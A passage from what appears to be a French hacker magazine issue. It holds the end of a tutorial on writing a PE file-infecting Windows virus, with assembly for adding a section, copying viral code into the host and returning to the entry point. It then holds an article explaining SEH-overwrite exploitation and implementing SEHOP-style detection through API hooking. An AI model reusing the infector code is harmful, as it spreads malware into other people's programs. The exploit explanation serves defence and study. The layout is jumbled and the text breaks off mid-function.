menté de 1000h (valeur de VirusSize) la taille 
de l’image, ce qui est largement suffisant.

La suite des événements consiste à pointer sur 
la première section de la structure, pour ce faire 
nous ajoutons 0F8h à ESI, cela permet de sauter 
tous les en-têtes et de pointer directement sur 
la première section. A partir de là, nous allons 
sauter toutes les sections afin de placer la notre 
juste à la suite. Afin d’effectuer cette manipula-
tion, nous allons simplement multiplier la taille 
d’une en-tête de sections par le nombre de sec-
tions. La taille d’une en-tête est de 28h et nous 
avons récupérer le nombre de sections un peu 
plus tôt. On ajoute le résultat à ESI et le tour est 
joué, il ne reste plus qu’a ajouté notre sections.

Voici la structure d’un en-tête de section ain-
si que le code pour la remplir. Ici, je ne dé-
taille pas le code, l’objectif est clair : remplir la 
structure.  Nous lui donnons un nom, la taille virtuelle et réelle du code viral et l’offset au-

quel il se trouve une fois chargé en mémoire. 
Petit note pour le champ Characteristics de 
notre section, la valeur 0E0000020h indique 
que la section est lisible, inscriptible et exé-
cutable. Une fois notre section créé il reste 
à copier notre code viral dans l’exécutable

Ce n’est pas très compliqué, Il suffit d’indiquer la 
destination dans EDI (en l'occurence, l’adresse 
à laquelle la cible est mappée), en n'oubliant 
pas d’ajouter à celle-ci la taille de l’exécutable 
sans quoi l'on risque d’écraser son code. Puis 
on indique le nombre d’octets à copier, c'est-
à-dire la taille de notre code viral. Et enfin, la 
source, qui correspond au début de notre code, 

typedef struct _IMAGE_SECTION_
HEADER {
    0x00 BYTE Name[IMAGE_SIZEOF_
SHORT_NAME];
        union {
            0x08 DWORD 
PhysicalAddress;
            0x08 DWORD VirtualSize;
        } Misc;
    0x0c DWORD VirtualAddress;
    0x10 DWORD SizeOfRawData;
    0x14 DWORD PointerToRawData;
    0x18 DWORD 
PointerToRelocations;
    0x1c DWORD 
PointerToLinenumbers;
    0x20 WORD NumberOfRelocations;

: 

    0x22 WORD NumberOfLinenumbers;
    0x24 DWORD Characteristics;
};

xor eax, eax
mov dword ptr [esi], "VZH#"
mov ax, VirusSize
mov [esi+08h], eax
mov eax, OriginalImageSize
mov [esi+0Ch], eax
mov eax, (offset vEnd - offset 
vStart)
mov [esi+10h], eax
mov eax, FileSize
mov [esi+14h], eax
mov [esi+24h], dword ptr 0E0000020h

: 
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instruction à exécuter après que la procédure 
appelé ai fini sont travail. Par la suite nous 
récupérons cette adresse grâce à l’instruc-
tion POP et nous la mettons dans EBP, à ce 
stade la EBP contient l’adresse de l’instruc-
tion POP EBP. Enfin le virus va soustraire cette 
adresse à l’adresse où il a été chargé. Il faut 
noter que l’instruction offset GetDelta renvoie 
l’adresse du début de la procédure GetDelta.

Voila, nous avons maintenant dans EBP notre off-
set de référence, vous pourrez constater son uti-
lité en regard ant le code source complet du virus.

Conclusion
Je termine cet article sur quelques notes afin 
de préciser que ce virus comporte certains 
bugs ainsi que des méthodes relativement an-
ciennes, mais je vous avais prévenu. J’appuie 
surtout sur le défaut de conception qui fait 
que la taille des fichiers infectés croit lorsqu’ils 
sont exécutés, cela est dû au mappage et à 
l’ajout de 2000h à leur dimension. Deux map-
pages différents ou un GlobalAlloc aurait pu 
corriger le tir, mais j’ai manqué de temps. Ce-
pendant le résultat est là et ça fonctionne (en 
tout cas chez moi !). J’espère avoir pu éclai-
rer certains d’entre vous et je vous retrouve 
bientôt pour un prochain article dans HZV ! =)

ginal, sauvegardé plus tôt) et nous l’appe-
lons via un CALL, rien de plus complexe.

Delta offset
Enfin, pour le bon fonctionnement de notre vi-
rus, il faut que son code soit relogeable, c'est-
à-dire qu’il doit pouvoir fonctionner à n’im-
porte quelle adresse mémoire. En effet notre 
virus va devoir stocker certaines données et 
pouvoir y accéder sans problème. Nous al-
lons donc utiliser un offset de référence afin 
de pouvoir accéder à nos variables, cet offset 
est plus couramment appelé le delta offset.

Il s’agit ici d’un morceau de code que l’on re-
trouve souvent dans les virus afin de calcu-
ler le delta offset. Dans le cas présent on se 
sert de l’instruction CALL afin de récupérer 
l’adresse à laquelle le virus a été chargé. En 
effet CALL va pousser l’adresse de retour sur 
la pile, cette adresse est en fait la prochaine 

c'est-à-dire à partir du point d'entrée de notre 
virus. Le processus est lancé via l’instruction 
REP MOVSB qui s’arrête une fois ECX à zéro.

Payload/return to the host
Nous atteignons bientôt la fin de notre code. Il 
ne reste qu’à ajouter notre payload et le code 
de retour à l’hôte. Comme convenu, la charge 
utile de notre programme est une simple boite 
de dialogue, pas besoin de commentaires...
Une fois la MessageBox affichée, il faut 
que nous rendions la main à l’hôte. Il suf-
fit pour cela de mettre le code suivant 
après l’affichage de notre MessageBox.
Nous utilisons l'OEP (le point d'entrée ori-

mov edi, mapAddress
add edi, FileSize
mov ecx, (offset vEnd - offset 
vStart)
lea esi, vStart
rep movsb

: 

MBox PROC
    push 0
    lea eax, lpCaption
    push eax
    lea eax, lpText
    push eax
    push 0
    call aMessageBox
    ret
MBox ENDP

: 

ReturnHost:
    mov        eax, oldOEP
    jmp        eax
: 

call GetDelta
GetDelta:
pop ebp
sub ebp, offset GetDelta

: 
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ou LoadLibrary.

Librairie : anglicisme, désigne couramment 
les bibliothèques de fonctions (DLL) employées 
par un programme ou un système.

OEP : Original Entry Point. Point d'entrée ori-
ginal d'un programme, généralement conservé 
par le code viral pour continuer l'exécution du 
programme hôte après infection.

PE : Portable Executable. Format d'exécutable 
utilisé par Microsoft sur les systèmes Windows. 

PEB : Process Environment Block. Structure 
maintenue par le noyau Windows, et contenant 
bon nombre d'informations, dont une liste des 
modules chargés (qui inclut les bibliothèques 
de fonctions).

RVA : Relative Virtual Address. Adresse vir-
tuelle relative, généralement aditionnée à 
l'ImageBase pour donner une VA

VA : Virtual Address. Adresse virtuelle, corres-
pondant à une zone mémoire située dans la 
mémoire virtuelle offerte par le système d'ex-
ploitation.
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exPLOitatiON
aVaNCée

Du DéBOrDeMeNt
De taMPON

etuDe DeS MODèLeS LSDet uNDerSeC
par Stormy

HZV Mag #3

introduction
Dans cet article je vais vous expli-
quer le principe de cette protection 
en vous proposant de l'implémenter 
nous mêmes puis je continuerai par 
une analyse des différents logiciels 
et systèmes qui la mettent en place.
Je vous recommande de lire l'ar-
ticle d'0vercl0k de hzv mag #1 [1] 
sur les débordements de tampon 
pour mieux comprendre celui-ci. 
Je pense que mon article est acces-
sible pour beaucoup moyennant un 
peu de réflexion et de recherche de 
votre part. Quelques connaissances 
sont toutefois requises notamment 
en programmation C et assembleur 
et concernant l'utilisation d'ou-
tils de débogage/désassemblage 
comme OllyDBG [2] et IDA [3].

Comprendre le « Struc-
tured exception Han-
dling ».
Avant de commencer nous allons 
voir comment sont gérées les ex-
ceptions sous Windows. Vous avez 
surement déjà été confronté à une 
erreur lors de l'exécution de votre 
programme vous indiquant que ce-
lui-ci avait fait une manipulation 
« interdite » ce qui entraine une 
exception. Et bien sous Windows 
il existe un mécanisme permet-
tant de gérer les exceptions par le 
moyen de ce que l'on appelle han-
dlers SEH (Structured Exceptions 
Handlers). En fait il existe deux 
types de handlers SEH, c'est-à-dire 
deux façons de gérer les excep-
tions. Il y a les handlers de haut ni-
veau, prenant effet sur tout le pro-
gramme soit tous les threads [4], 

PréVeNtiON De 
L'exPLOitatiON De 
StaCK OVerFLOWS 

(SeHOP)
par Lilxam

Les débordements de tampons, plus connus sous le nom de buffer over-
flows font l'objet de nombreuse études. Ils ont en effet de très grandes 
conséquences au niveau de la sécurité informatique. Depuis plusieurs 
années des protections sont mises en place pour se protéger de ces at-
taques. Je vais donc vous présenter l'une d'elles, qui consiste à prévenir 
d'une exploitation par réécriture de SEH, aussi connu sous son appellation 
anglaise : Structured Exception Handler Overwrite Prevention (SEHOP).
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et les handlers de bas niveau qui, eux, pren-
nent effet seulement dans le thread où ils ont 
été déclarés. C'est ces derniers auxquels nous 
allons nous intéresser car ceux-ci sont déclarés 
dans la pile et justement le principe d'un débor-
dement de tampon est de « modifier » la pile. 
Plus précisément ce mécanisme se base 
sur l'utilisation de structures que voici :

Que les choses soit claires, j'utiliserai par-
fois le mot SEH pour désigner cette structure.

Le premier champ n'est rien d'autre qu'un 
pointeur vers une autre structure de même 
type afin de former une liste chainée. Voici un 
point qui va être très important pour la suite. 
Le second champ est un pointeur vers ce qui sera 
réellement notre handler. J'appelle handler une 
procédure (ou une fonction), en théorie ayant 
pour but de résoudre le « problème », qui sera 
appelée au cas où une exception est levée . En fait  
cette fonction est libre de faire ce qu'elle veut.
Sans plus attendre voici un petit schéma 
montrant l'aspect de cette liste chainée :

Le prototype de ces handlers est le suivant : 

En effet plusieurs arguments vont être passés 
à la fonction servant de handler par le système. 

Je vais seulement attirer votre atten-
tion sur la structure CONTEXT (ci-contre). 
Nous voyons par le biais de cette struc-
ture que notre programme peut accéder à 
beaucoup d'informations sur ses registres, 

drapeaux(flags), ainsi que les modifier. Il est 
vrai que toute modification de cette structure 
va prendre effet car le système va se charger 
de mettre à jour le CONTEXT du thread. Pour 
m'expliquer je vous propose ce schéma :

typedef struct _EXCEPTION_
REGISTRATION
{
 struct _EXCEPTION_REGISTRATION* 
prev;
 PEXCEPTION_HANDLER  
handler;
} EXCEPTION_REGISTRATION, 
*PEXCEPTION_REGISTRATION;

: 

EXCEPTION_DISPOSITION SehHandler(
  IN PEXCEPTION_RECORD 
ExceptionRecord,
  IN PVOID ExceptionFrame,
  IN PCONTEXT Context,
  IN PVOID DispatcherContext);

: 

typedef struct _CONTEXT
{
     ULONG ContextFlags;
     ULONG Dr0;
     ULONG Dr1;
     ULONG Dr2;
     ULONG Dr3;
     ULONG Dr6;
     ULONG Dr7;
     FLOATING_SAVE_AREA 
FloatSave;
     ULONG SegGs;
     ULONG SegFs;
     ULONG SegEs;
     ULONG SegDs;
     ULONG Edi;
     ULONG Esi;
     ULONG Ebx;
     ULONG Edx;
     ULONG Ecx;
     ULONG Eax;
     ULONG Ebp;
     ULONG Eip;
     ULONG SegCs;
     ULONG EFlags;
     ULONG Esp;
     ULONG SegSs;
     UCHAR 
ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;

: 
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à plusieurs autres fonctions qui vont 
aboutir à l'exécution du handler.
Grossièrement, leur orga-
nisation est la suivante :

KiUserExceptionDispatcher()
   -> RtlDispatchException()
 -> RtlpExecuteHandlerForExcep-
tion()
    -> ExecuteHandler()

Avant de continuer je vais d'ors et 
déjà vous présenter une API win-
dows permettant de soulever une ex-
ception. Il s'agit de RaiseException().
Ce qu'il y a de particulier avec cette 
fonction c'est que lorsqu'elle sou-
lève l'exception, KiUserException-
Dispatcher() n'est pas appelée. 

Nous reviendrons là-dessus mais c'est 
une information qu'il faut garder en tête.

Comme je le disais tout à l'heure, l'adresse 
donnée par FS:[0] pointe vers le TEB et 
donc le TIB. Soit FS:[0] permet d'obtenir 
un pointeur direct vers le SEH courant.

On peut donc définir un SEH de la sorte :
Continuons. Lorsqu'une exception est levée, la 
fonction KiUserExceptionDispatcher(), exportée 
par ntdll.dll, est appelée. Elle même fait appel 

Nous verrons plus tard que nous au-
rons besoin d'accéder à cette structure.

Reste un point important : comment dé-
finir comment et accéder à la liste chai-
née des SEH ? C'est bien de comprendre 
le mécanisme de gestion des exceptions 
mais c'est encore mieux de savoir l'utiliser.
Je vous propose alors de jeter un œil à 
la structure TEB (Thread Environment 
Block) directement accessible au sein d'un 
thread à l'adresse pointée par FS:[0] :

Ce qui nous intéresse est la structure TEB. Nous 
remarquons ici, à quelque chose près, un poin-
teur vers la structure dont nous parlions pré-
cédemment à savoir EXCEPTION_REGISTRA-
TION. Le premier champ est en fait un pointeur 
vers le dernier SEH déclaré, ou le SEH courant.

typedef struct _TEB
{
     NT_TIB NtTib;
     PVOID EnvironmentPointer;
     CLIENT_ID ClientId;
     PVOID ActiveRpcHandle;
     PVOID ThreadLocalStoragePointer;
     PPEB ProcessEnvironmentBlock;
     ULONG LastErrorValue;
     ULONG CountOfOwnedCriticalSections;
 …

: 

{
     PEXCEPTION_REGISTRATION_RECORD 
ExceptionList;
     PVOID StackBase;
     PVOID StackLimit;
     PVOID SubSystemTib;
     union
     {
          PVOID FiberData;
          ULONG Version;
     };
     PVOID ArbitraryUserPointer;
     PNT_TIB Self;
} NT_TIB, *PNT_TIB;

: 

PUSH OFFSET Handler ;Un 
pointeur vers le handler
PUSH DWORD PTR FS:[0] 
;Un pointeur vers le SEH 
précédent
MOV DWORD PTR FS:[0], ESP 
;Enregistre notre SEH

: 
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Je vais tout de même vous l'expliquer ra-
pidement pour savoir ce à quoi nous de-
vrons faire attention dans la suite de l'article.

L'idée est en fait d'écraser l'adresse du han-
dler du dernier SEH définit qui serait donc 
appelé en cas d'exception. La plupart du 
temps il y a une structure EXCEPTION_RE-
GISTRATION en bas de la pile. Comme ceci :

Notre but est donc d'écraser la pile jusqu'à 
arriver à modifier l'adresse du handler. Et 
si on arrive à générer une exception celui-
ci sera exécuté. Nous aurons donc la pos-
sibilité de rediriger le flux du programme.
Un exemple de l'état de la 
pile pour cette exploitation :

J'attire d'ores et déjà votre attention sur le 
fait que non seulement l'adresse du handler 
a été écrasée, mais aussi le pointeur prev 
(pointant vers le SEH précédant) du SEH. 
C'est-à-dire que celui-ci n'est plus « valide ». 
Ce sera donc une vérification à faire lorsque 
nous tenterons d'implémenter une protection 

cette variable « témoin » peut nous permettre 
de savoir si une attaque a eu lieu. Cette pro-
tection a été mise en place par le compilateur 
Visual C++. Vous trouverez en bas de cette 
page  un exemple d'implémentation  en C.

Bien évidemment l'implémenta-
tion de Visual C++ est plus élaborée.
Vous voyez donc bien que l'exploita-
tion ne peut se faire de façon « basique » 
comme on a l'habitude de faire en écra-
sant la valeur de retour afin de rediriger le 
flux du programme grâce à l'instruction RET.
Pour pallier à cela on utilise la technique de la 
réécriture du SEH (SEH Overwriting en anglais). 
Je vous renvoie une nouvelle fois à l'ar-
ticle d'Overclock pour comprendre en détail 
son fonctionnement.

technique de la réécriture du 
SeH pour outrepasser la protec-
tion du « canary ».
Pour palier aux stack based buffer overflows 
des techniques ont été mises en place notam-
ment celle du « canary » ou « stack cookie ».
Je ne compte pas trop m'attarder sur ceci, 
voyez plutôt l'article d'Overclok à ce sujet sur 
Hzv mag #1.

Pour faire simple on va placer sur la pile une 
variable « témoin » de façon à ce qu'un dé-
bordement de tampon (s'il y en a un) sur une 
autre variable située au dessus dans la pile (soit 
déclaré après), celle-ci soit également écrasée. 
Ensuite une simple vérification de la valeur de 

include <windows.h>

int main() {
    DWORD dwCanary = 0x13371337;
    char tmp[0x1];

    /* Generate Stack Overflow */
    strcpy(tmp, "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41...")
    if(dwCanary != 0x13371337) {
                MessageBoxA(NULL, "Stack Overflow Detected", "Error !", MB_OK);
                ExitProcess(0x0);
    }
    return 0;
}

: 
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de ce champ (ici égal à 0x42424242).  L'as-
tuce alors pour exécuter le shellcode, qui est 
situé au dessus dans la pile, est d'utiliser un 
saut court (soit l'instruction JMP SHORT).
Pour notre protection on pourra donc véri-
fier si le handler à exécuter ne pointe pas 
vers une suite d'instruction POP POP RET 
et si le pointeur vers le SEH précédent ne 
contient pas une instruction de type JMP 
SHORT. Au quel cas on détectera l'exploitation.

Détecter la réécriture d'un SeH.
Bien, maintenant que je vous ai expliqué (ra-
pidement) comment fonctionne l'exploitation 
des débordements de tampon par réécriture de 
SEH je vais alors vous montrer comment s'en 
protéger. Pour vous motiver voici un aperçu 
de mon outil implémentant cette protection :

On remarque très rapidement le CALL ECX. En 
fait ECX contient l'adresse du handler à exécuter.
Revenons sous OllyDbg et posons un breakpoint 
sur ce CALL ECX. Maintenant intéressons nous 
à l'état de la pile juste après le CALL ECX (en 
rentrant dans le CALL avec F7 sous OllyDbg):

Comme je vous l'ai dit, quand un handler 
est appelé, des arguments lui sont passés et 
c'est ce que nous témoigne la pile. L'astuce 
pour l'exploitation est de faire exécuter par le 
CALL ECX une séquence d'instructions équi-
valente à POP POP RET. Ce qui aura pour ef-
fet de dépiler deux DWORDs soit l'adresse 
de retour vers la fonction ExecuteHandler() 
due au CALL et l'argument pExceptionRecord. 
Et au moment du RET, le registre ESP poin-
tera vers l'argument pExceptionFrame qui lui-
même pointe vers le champ prev du SEH cou-
rant. Or nous avons « la main » sur la valeur 

pour prévenir d'une exploitation de ce type.
Continuons, en amont je vous ai explicité les 
fonctions appelées lorsqu'une exception est sou-
levée. Plus précisément c'est la fonction Execu-
teHandler() qui se charge d'exécuter le handler. 
Analysons-la :

ExecuteHandler2@20 proc near

arg_0= dword ptr  8
arg_4= dword ptr  0Ch
arg_8= dword ptr  10h
arg_C= dword ptr  14h
arg_10= dword ptr  18h

push    ebp
mov     ebp, esp
push    [ebp+arg_4]
push    edx
push    large dword ptr fs:0
mov     large fs:0, esp
push    [ebp+arg_C]
push    [ebp+arg_8]
push    [ebp+arg_4]
mov     ecx, [ebp+arg_10]
call    ecx
mov     esp, large fs:0
pop     large dword ptr fs:0
mov     esp, ebp
pop     ebp
retn    14h
ExecuteHandler2@20 endp
sh    [ebp+arg_0]
mov     ecx, [ebp+arg_10]
call    ecx
mov     esp, large fs:0
pop     large dword ptr fs:0
mov     esp, ebp
pop     ebp
retn    14h

: 
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B. L'implémentation.

L'implémentation va s'effectuer en deux temps. 
Premièrement il nous faut mettre en place la 
protection avant le démarrage de CHAQUE 
thread [4]. Secondement il nous faut être en 
mesure d'appliquer plusieurs vérifications en 
cas d'exception.
Pour cela nous allons créer une DLL que nous 
injecterons dans le processus cible à son dé-
marrage. 

Ici plusieurs possibilités peuvent être envisa-
gées. Par exemple nous pourrions faire comme 
le logiciel Wehntrust, que je présenterai par la 
suite, c'est-à-dire protéger tout les processus 

être de vérifier la validité de cette liste... 
Oui mais comment ?

L'astuce est d'installer notre propre SEH avant le 
démarrage du thread. Je m'explique, si nous ins-
tallons notre propre structure EXCEPTION_RE-
GISTRATION, nous savons exactement l'adresse 
vers laquelle doit pointer le champ prev du SEH 
suivant (il doit pointer vers notre SEH à nous).
D'accord, mais quand fait-on la vérification ?

Pour cela je vous demande de vous rappeler 
qu'elles sont les fonctions appelées par le sys-
tème lorsqu'une exception est soulevée. Une 
des principales est KiUserExceptionDispat-
cher(). Imaginons maintenant que nous dé-
tournions ( l'art du hooking [5] ) cette fonc-
tion (ou une autre un peu similaire ;) ). Lors 
d'une exception nous pourrions alors faire nos 
vérifications puis repasser la main à KiUserEx-
ceptionDispatcher() si tout va bien ou alors 
terminer le processus si ce n'est pas le cas.
Nous parcourrions donc la liste chaînée des 
structures EXCEPTION_REGISTRATION jusqu'à 
arriver à la notre. Si nous n'y arrivons pas 
c'est qu'elle est corrompue. Au passage, nous 
pouvons renforcer la protection en effectuant 
quelques tests (voir ce qui a été dit précé-
demment sur les techniques d'exploitation).
Mais avant d'en dire plus, passons 
à l'implémentation de la protection.

Je ne l'ai pas tout à fait fini à l'heure où 
j'écris ces lignes mais je vous invite à visi-
ter mon blog [1] , je tenterai de publier les 
sources complètes avant la sortie du mag.

a. La théorie.

Les structures EXCEPTION_REGISTRATION 
que nous avons vu plus haut forment une 
liste chainée. Lorsque nous réécrivons un SEH 
afin d'exploiter un déborement de tampon 
nous écrasons toute la structure SEH et donc 
le champ prev qui doit normalement pointer 
vers la structure précédente (s'il n'y en a pas 
d'autre, il prend tout simplement la valeur -1 soit 
0xFFFFFFFF en hexadécimal). Or nous écrasons 
cette valeurs avec par exemple une chaine de 
ce type « AAAAAA ». De ce fait, au lieu d'avoir 
le cas de figure habituel, nous avons celui-ci :

On voit donc bien que la liste chai-
née est « invalide ». Notre but va alors 
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lidité de la liste des SEH. Cela veut dire 
que si une application possède plusieurs 
threads il faut définir un SEH pour chacun. 
On va donc devoir précéder leur démar-
rage. Je rappelle que pour lancer un nou-
veau thread on sein d'une application on 
utilise l'API CreateThread() exportée par 
kernel32.dll.  Alors la technique que nous 
allons utiliser est celle du HotPatching. Re-
gardons ensemble le désassemblage de 
CreateThread() :

Nous voyons que celle-ci commence par MOV 
EDI, EDI. Soit une instruction inutile ! Placer le 
contenu de EDI dans EDI lui-même n'a aucun 
sens.

De plus regardez la taille de cette instruction 
: elle fait précisément cinq octets soit la place 
que prend un JMP FAR (un saut vers une pro-
cédure lointaine). On peut donc remplacer MOV 
EDI, EDI par un saut vers notre propre fonc-

Nous voyons que l'argument Reason peut 
prendre plusieurs valeurs dont une qui est DLL_
PROCESS_ATTACH. Cette valeur signifie que la 
DLL vient d'être chargée par le processus. Il suf-
fit donc de placer notre code à ce branchement.
Nous avons libre choix d'effectuer des opé-
rations sur notre processus à présent. 

La gestion du multi-threading.

Les handlers de bas-niveau ne prennent effet 
que dans le thread où ils ont été définis. Or 
nous avons besoin de déclarer notre propre 
handler (de bas-niveau) pour vérifier la va-

du système. Cela demande des manipulations 
assez conséquentes. Sinon nous pouvons utili-
ser la technique du Image File Execution Op-
tions [8] comme le fait cette fois-ci le logiciel 
EMET. Je ne vais pas m'attarder la dessus, ce 
n'est pas l'objet de cet article.

Nous pouvons donc précéder l'exécution du pro-
gramme, et ainsi être libre d'injecter notre DLL 
dans le processus avant de le laisser démarrer.
Notre DLL injectée va ensuite pouvoir 
prendre la main. Je vous rappelle l'organisa-
tion générale de la fonction main d'une DLL :

BOOL APIENTRY DllMain (HINSTANCE 
hInst,
                       DWORD 
reason,
                       LPVOID 
reserved)
{
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:
        break;

      case DLL_PROCESS_DETACH:

        break;

      case DLL_THREAD_ATTACH:
        break;

      case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

: 
mov     edi, edi
push    ebp
mov     ebp, esp
push    [ebp+lpThreadId] ; 
lpThreadId
push    [ebp+dwCreationFlags] ; 
dwCreationFlags
push    [ebp+lpParameter] ; 
lpParameter
push    [ebp+lpStartAddress] ; 
lpStartAddress
...

: 
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pelez-vous de ce que je vous ai dit à propos 
de RaisonException(). Cette fonction soulève 
une exception sans appeler KiUserException-
Dispatcher(). C'est pourquoi nous allons dé-
tourner directement RtlDispatchException().
Un problème se pose, c'est que RtlDis-
patchException() n'est pas exportée par 
ntdll.dll. On ne peut donc pas récupé-
rer son adresse via GetProcAddress().
Si on désassemble la fonction KiUserEx-
ceptionDispatcher(), qui elle en revanche 
est exportée par ntdll.dll, on s'aperçoit 
que la première fonction qu'elle appelle 
est justement RtlDispatchException() :

l'argument lpStartAddress contient l'adresse à 
laquelle débute le thread. Nous allons sauve-
garder cette adresse et la remplacer par celle 
de notre procédure. Ainsi au moment de son 
appel, le thread aura été créé, et nous pourrons 
effectuer nos opérations. Il suffit ensuite de 
sauter sur l'adresse d'origine et le tour est joué. 

Pour illustrer mes propos :

Et bien voilà nous gérons maintenant le multi-
threading. 

La détection des exceptions :

Précédemment je vous ai dit que nous allions 
hooker la fonction KiUserExceptionDispatcher() 
pour détecter les exceptions mais nous allons 
prendre un peu plus de précautions. Rap-

tion. Fonction qui sera chargée de faire nos 
vérifications. Un petit schéma démonstratif :

Seulement ce n'est pas tout. Nous avons la 
main sur la fonction CreateThread(), mais 
cela ne nous permet pas de « manipuler » le 
thread, qui n'est pas encore créé, pour instal-
ler notre SEH. En fait on va modifier un argu-
ment de cette fonction. Voyez son prototype :

HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES 
lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE 
lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

: 
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adresses valides avec par exemple l'API Vir-
tualQuery(), qui renvoie 0 si l'adresse pointe 
vers un espace de donnée invalide, en atten-
dant de tomber sur notre SEH. C'est de cette 
façon que procède EMET et Wehntrust. Soit 
nous pouvons restreindre les possibilité et im-
poser que les champs prev pointent dans une 
région de la pile. Et puis également vérifier si 
le handler pointe bien vers une adresse va-
lide. Ce que l'on retrouve sur Windows SEVEN.
Dans mon implémentation je laisse le choix 
à l'utilisateur, lorsque je détecte une exploi-
tation, de stopper ou non le programme. 
C'est pourquoi j'ai préféré opté pour la deu-

Je vous laisse alors ma fonction de 
hook, disponible en bas de page. :

Vérification de la validité de la chaine des SeHs :

Nous l'avons vu, le principe même de la pro-
tection dont je vous parle est de vérifier la va-
lidité de la liste chainée des structures SEH.
Cette vérification n'est pas très difficile à mettre 
en place. En fait on peut songer à deux pos-
sibilités. Soit nous parcourons la liste en fai-
sant bien attention à chaque fois que les 
champs handler et prev de la structure EXCEP-
TION_REGISTRATION pointent bien vers des 

On va donc parcourir le code de la fonction 
KiUserExceptionDispatcher() en recherche de 
l'opcode (Operation Code ou code de l'instruc-
tion) \xE8 qui correspond à un CALL. Ensuite 
on récupère l'adresse contenue sur les quatre 
octets suivants. Cette adresse est relative et 
si on lui ajoute l'adresse de l'instruction sui-
vante on obtient l'adresse absolue de la fonc-
tion en question, ici RtlDispatchException().

PDWORD 
GetRtlDispatchExceptionAddress()
{
     HANDLE hModule = NULL;
     DWORD 
pKiUserExceptionDispatcher, 
pRtlDispatchException;
     size_t i = 0;
     hModule = 
GetModuleHandle("ntdll.dll");
     
     pKiUserExceptionDispatcher 
= (DWORD)GetProcAddress(hModule, 
"KiUserExceptionDispatcher");
     while(((BYTE*)
pKiUserExceptionDispatcher)[i] != 
0xE8)
          i++;
     pRtlDispatchException = (DWORD)
pKiUserExceptionDispatcher+i;
     pRtlDispatchException += 
(DWORD)(*(PDWORD)(pRtlDispatchExcep
tion+0x1))+0x5;
     
     
     return (PDWORD)
pRtlDispatchException;
}

: 

VOID HotPatchingHooker(PDWORD pdwFuncAddr, PDWORD pdwCallback)
{
     DWORD dwOldProtect;
     
     BYTE JMP[] = "\xE9\x00\x00\x00\x00"; // On complètera l'address plus tard
     
     VirtualProtect((PUCHAR)pdwFuncAddr - 0x5, 0x7, PAGE_READWRITE, 
&dwOldProtect);

     memcpy(pdwFuncAddr, "\xEb\xF9", 0x2);
     
     *(PDWORD)(JMP+1) = GetJMP((DWORD)((PUCHAR)pdwFuncAddr-0x5), (DWORD)
pdwCallback);
     
     memcpy((PUCHAR)pdwFuncAddr-0x5, JMP, 0x5);
     
     VirtualProtect((PUCHAR)pdwFuncAddr - 0x5, 0x7, dwOldProtect, 
&dwOldProtect);
     
     return;
}

: 
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chException() dont voici le prototype :

Vous voyez que nous avons un accès à la 
structure CONTEXT que je vous ai déjà pré-
senté. En conséquent il nous est aisé d'ob-
tenir la valeur du registre EBP et de vé-
rifier ensuite qu'il pointe bien sur la pile.

3. Handler pointant vers POP POP ret.

Comme vu plus haut, un attaquant va générale-
ment rediriger le flux du programme vers des ins-
tructions de type « POP POP RET ». Dans ce cas 
là c'est le handler qui pointe vers cette séquence.
Regardez alors le tableau suivant:

0x58 POP EAX
0x59 POP ECX
0x5A POP EDX
0x5B POP EBX
0x5C POP ESP
0x5D POP EBP
0x5E POP ESI
0x5F POP EDI

L'opcode d'une instruction POP reg32 
est donc comprise entre \x58 et \x5F.
L'opcode d'un RET étant \xC3, nous allons alors 

2. test du registre eBP :

Il est fréquent qu'en fin de fonction soit pré-
sente l'instruction POP EBP qui a pour effet de 
dépiler un DWORD de la pile dans le registre 
EBP. Cela veut dire que si la pile a été écra-
sée partiellement par un débordement de tam-
pon, par exemple si elle contient une chaine 
de type « AAAAAAA... », cette instruction pla-
cera la valeur 0x41414141 (valeur hexadé-
cimale de « AAAA ») dans EBP. Or cette va-
leur est insignifiante et même invalide pour 
ce registre qui doit pointer vers le bas de la 
pile. Certains attaquants se servent même de 
cette conséquence pour déclencher une ex-
ception et ainsi, en réécrivant le SEH, rediriger 
le flux d'exécution du programme. Il est vrai 
qu'une instruction du type MOV EAX, DWORD 
PTR SS:[EBP+8] génèrerait une exception 
au cas où EBP ne pointerait pas dans la pile.
C'est pourquoi nous allons vérifier si ce registre 
est bien valide au moment d'une exception. 
Ce n'est pas très compliqué, car nous 
avons hooké la fonction RtlDispat-

xième solution, plus rigoureuse à mon goût. 

améliorations
adresse de notre SeH rendu aléatoire :

Pour améliorer la protection, voici une petite 
chose simple mais très efficace. Vous l'aurez 
compris, si un attaquant veut outre-passer 
notre protection, il lui suffit de laisser intact les 
adresses. Bien que ce soit très loin d'être simple. 
Mais imaginons que nous rendions l'adresse de 
notre SEH aléatoire, il serait dès lors énormé-
ment plus difficile de contourner le problème.
C'est je pense un aspect très im-
portant de la protection.
Je n'est pas grand chose à vous dire de plus, 
il est assez facile de faire ceci en allouant 
un espace de mémoire à une adresse aléa-
toire (« randomizée ») par exemple en uti-
lisant l'API GetTickCount() qui renvoie le 
nombre de millisecondes écoulées depuis 
le démarrage du système. Un exemple :

PEXCEPTION_REGISTRATION pMySEH = NULL;

PDWORD AllocAndRandom()
{
       VirtualAlloc(&pMySEH, 0x1000, MEM_COMMIT, PAGE_READWRITE);
       
       return (PDWORD)((PUCHAR)&pMySEH+(GetTickCount() % 0x1000));
}

: 

RtlDispatchException( PEXCEPTION_
RECORD pExcptRec,     
   PCONTEXT pContext );
: 
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détecter ce genre de manipulation comme voici :

J'attire tout de même votre attention sur le 
fait que pour être sur de sécuriser au maxi-
mum il faudrait également détecter les ins-
truction de type ADD ESP, 4 ou SUB ESP, -4 
équivalentes à un POP et d'autres encore.

4. JMP SHOrt à la place du pointeur prev.

La séquence POP POP RET renvoie sur 
le champ prev de la structure SEH. L'op-
code d'un JMP SHORT est de la sorte : \
xEB\xYY avec \xYY l'adresse relative codé 

BYTE CheckPOPPOPPOPRET(PEXCEPTION_REGISTRATION pCurrentHandler)
{
     if(!IsValidAddress(pCurrentHandler->handler))
                                                  return 0x0;
     
     /* 
         POP 
         POP 
         RET 
     */
     if(( ((BYTE *)pCurrentHandler->handler)[0x0] >= 0x58 && // POP
